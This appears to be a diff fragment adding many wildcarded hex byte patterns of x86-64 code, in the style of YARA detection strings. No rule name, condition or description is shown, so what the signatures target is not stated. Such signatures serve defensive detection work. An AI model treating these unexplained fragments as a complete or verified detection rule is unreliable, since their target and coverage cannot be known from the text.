+		$268459888_72 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 5? 41 ?? 48 ?? ?? ?? 33 ?? 44 ?? ?? 45 ?? ?? 48 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$268507287_72 = { 8A ?? ?? 8A ?? ?? 33 ?? C0 ?? ?? 8A ?? C0 ?? ?? C0 ?? ?? 80 E? ?? 02 ?? 88 ?? ?? 8A ?? ?? 8A ?? C0 ?? ?? 02 ?? ?? C0 ?? ?? 88 ?? ?? 24 ?? 48 ?? ?? ?? 32 ?? 88 ?? ?? 0F B7 ?? 66 ?? ?? 8A ?? ?? 48 ?? ?? ?? 88 ?? ?? 33 }
+		$268505024_72 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 5? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 49 ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268462992_71 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? 44 ?? ?? 33 ?? 48 ?? ?? ?? ?? 33 ?? B9 ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268536096_71 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 8B ?? ?? 4C ?? ?? 48 ?? ?? 33 ?? 33 ?? 41 ?? ?? 89 ?? ?? ?? 4D ?? ?? 45 ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268538368_67 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? 48 ?? ?? ?? 45 ?? ?? 49 ?? ?? 4D ?? ?? 48 ?? ?? 48 ?? ?? 45 ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$268466474_67 = { 33 ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 33 ?? 44 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$268505376_65 = { 48 ?? ?? ?? ?? 5? 5? 5? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268469378_64 = { 48 ?? ?? ?? 45 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 45 ?? ?? B2 ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268506337_64 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 41 ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 33 ?? 48 ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268522280_64 = { 33 ?? 49 ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C ?? ?? 8D ?? ?? 4C ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 44 ?? ?? 89 ?? ?? ?? ?? ?? 4D ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268442659_63 = { 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 44 ?? ?? ?? 3B ?? 44 ?? ?? ?? 03 ?? 48 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 4F ?? 89 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 }
+		$268541099_62 = { 41 ?? ?? ?? 41 ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? 44 ?? ?? 44 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$268541165_62 = { 48 ?? ?? ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 33 ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 85 ?? 0F 84 }
+		$268518947_62 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? 4C ?? ?? ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 44 ?? ?? ?? 39 ?? ?? 0F 8E }
+		$268441904_60 = { 33 ?? 41 ?? ?? 44 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 8B ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268439680_59 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 4C ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$268468064_57 = { 5? 5? 5? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268445216_57 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 83 ?? ?? ?? 33 ?? 49 ?? ?? 4D ?? ?? 44 ?? ?? 48 ?? ?? 83 ?? ?? 0F 82 }
+		$268486752_56 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 49 ?? ?? 45 ?? ?? 44 ?? ?? 4C ?? ?? 85 ?? 0F 8E }
+		$268472138_54 = { 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$268442767_52 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 3B ?? 0F 44 ?? 89 }
+		$268540624_52 = { 48 ?? ?? ?? ?? 5? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? 48 ?? ?? 8B ?? 48 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$268522944_52 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 5? 41 ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 4D ?? ?? 49 ?? ?? 48 ?? ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$268454288_51 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 5? 41 ?? 48 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 49 ?? ?? 49 ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268540845_50 = { 44 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268531008_50 = { 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268494171_48 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? 8D ?? ?? 4C ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 85 ?? 0F 45 ?? 48 ?? ?? E8 }
+		$268482069_46 = { 49 ?? ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? 49 ?? ?? ?? 33 ?? 48 ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268474946_46 = { 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 49 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268492100_46 = { 48 ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? 4D ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? 1B ?? 83 ?? ?? 83 ?? ?? 4D ?? ?? 0F 44 ?? 48 ?? ?? ?? ?? 41 ?? C3 }
+		$268460688_46 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 5? 41 ?? 41 ?? 41 ?? 48 ?? ?? 48 ?? ?? ?? 33 ?? 45 ?? ?? 4D ?? ?? 49 ?? ?? 4C ?? ?? 49 ?? ?? 85 ?? 0F 84 }
+		$268445844_45 = { FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? 4D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268452060_45 = { 8B ?? 33 ?? C1 ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268439743_44 = { 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268522532_44 = { 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? 33 ?? 45 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268444266_44 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? 45 ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268520883_44 = { 8B ?? ?? 48 ?? ?? 44 ?? ?? 0F AF ?? ?? 8B ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? 89 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$268474996_43 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$268532593_43 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$268531392_43 = { 48 ?? ?? 48 ?? ?? ?? 5? 5? 5? 48 ?? ?? ?? ?? ?? ?? 33 ?? 49 ?? ?? 48 ?? ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$268477706_42 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$268443943_42 = { 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 84 }
+		$268529836_42 = { 0F 10 ?? ?? F2 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 29 ?? ?? F2 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$268448347_42 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$268445942_41 = { E8 ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? 44 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268524585_41 = { 48 ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 49 ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268479980_41 = { 49 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 49 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$268536691_41 = { 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 89 ?? ?? 83 ?? ?? 41 ?? ?? 0F 87 }
+		$268446387_41 = { BB ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 49 ?? ?? 44 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268493872_40 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 8B ?? ?? 48 ?? ?? 83 ?? ?? 0F 82 }
+		$268507647_39 = { 48 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 8B ?? B9 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$268448183_38 = { 49 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF C? 4C ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$268469544_38 = { 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268464342_37 = { 0F B7 ?? ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 }
+		$268472203_37 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? 45 ?? ?? 44 ?? ?? ?? 89 ?? ?? 45 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$268540680_37 = { 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? ?? 0F 85 }
+		$268479493_37 = { 48 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 89 ?? ?? 83 ?? ?? 0F 85 }
+		$268462100_36 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$268515443_36 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268508065_36 = { 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? 4C ?? ?? ?? ?? 33 ?? 48 ?? ?? 48 ?? ?? ?? ?? FF 5? ?? 85 ?? 0F 88 }
+		$268493916_36 = { 8B ?? 33 ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 4C ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 85 ?? 0F 84 }
+		$268444399_35 = { 44 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? 8B ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268508105_34 = { 48 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 8B ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$268506700_34 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? FF C? 48 ?? ?? ?? 49 ?? ?? ?? 89 ?? ?? ?? 3B ?? ?? 0F 8C }
+		$268457073_34 = { 48 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? 0F 85 }
+		$268540807_34 = { 44 ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? 44 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268480321_34 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? EB }
+		$268519151_32 = { E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 42 ?? ?? ?? ?? 4C ?? ?? ?? ?? 6B ?? ?? 48 ?? 4C ?? ?? 0F 8E }
+		$268491929_31 = { 41 ?? ?? ?? 41 ?? ?? ?? ?? 49 ?? ?? ?? C1 ?? ?? C1 ?? ?? 03 ?? 48 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$268447697_31 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? ?? 88 ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? EB }
+		$268445987_30 = { E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 49 ?? ?? 44 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268477628_30 = { 33 ?? B9 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268541799_30 = { 44 ?? ?? ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? 4C ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268448313_30 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268447387_30 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? ?? 88 ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? EB }
+		$268448494_29 = { 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$268469511_29 = { FF 1? ?? ?? ?? ?? 4C ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268440472_29 = { 4D ?? ?? 49 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$268507804_28 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$268533889_28 = { 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268445308_28 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 44 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268463920_27 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$268507773_27 = { 48 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 85 ?? 0F 88 }
+		$268524371_27 = { 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268445277_27 = { 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 44 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268477752_26 = { 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? FF 5? ?? 85 ?? 0F 88 }
+		$268441496_26 = { 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$268482119_25 = { 4C ?? ?? ?? 49 ?? ?? ?? 33 ?? 49 ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 85 ?? 0F 84 }
+		$268536736_25 = { 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? 0F 85 }
+		$268529627_25 = { 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D }
+		$268527280_25 = { 4C ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? 33 ?? 49 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268527309_24 = { 49 ?? ?? ?? 4C ?? ?? ?? ?? 49 ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268478392_24 = { 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268516415_23 = { 8B ?? ?? 33 ?? FF C? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268443917_22 = { 4C ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268524559_22 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268516390_21 = { 8D ?? ?? 33 ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268463067_21 = { 4C ?? ?? ?? ?? 8D ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268540721_20 = { 49 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 81 3? ?? ?? ?? ?? 0F 85 }
+		$268506313_20 = { 33 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$268462140_19 = { 44 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$268461800_19 = { 48 ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268519187_19 = { 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 85 ?? 0F 84 }
+		$268444376_19 = { 8B ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268444600_19 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268541072_18 = { 0F B7 ?? ?? 45 ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 0F 83 }
+		$268514208_17 = { 8B ?? 33 ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268458673_17 = { 8B ?? 2B ?? 44 ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? 0F 87 }
+		$268510055_16 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$268464219_16 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? 0F 84 }
+		$268532450_16 = { 49 ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 0F 82 }
+		$268459347_15 = { 49 ?? ?? ?? 48 ?? ?? 49 ?? ?? 4C ?? ?? 0F 82 }
+		$268508425_15 = { 48 ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268491527_14 = { 0F B6 ?? 83 ?? ?? 49 ?? ?? 83 ?? ?? 0F 82 }
+		$268510260_14 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? 85 ?? 74 }
+		$268498900_14 = { 48 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? ?? 0F 83 }
+		$268508260_13 = { BB ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$268506405_13 = { 48 ?? ?? 89 ?? ?? ?? 41 ?? ?? ?? 0F 8E }
+		$268480025_13 = { 48 ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$268468125_12 = { 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
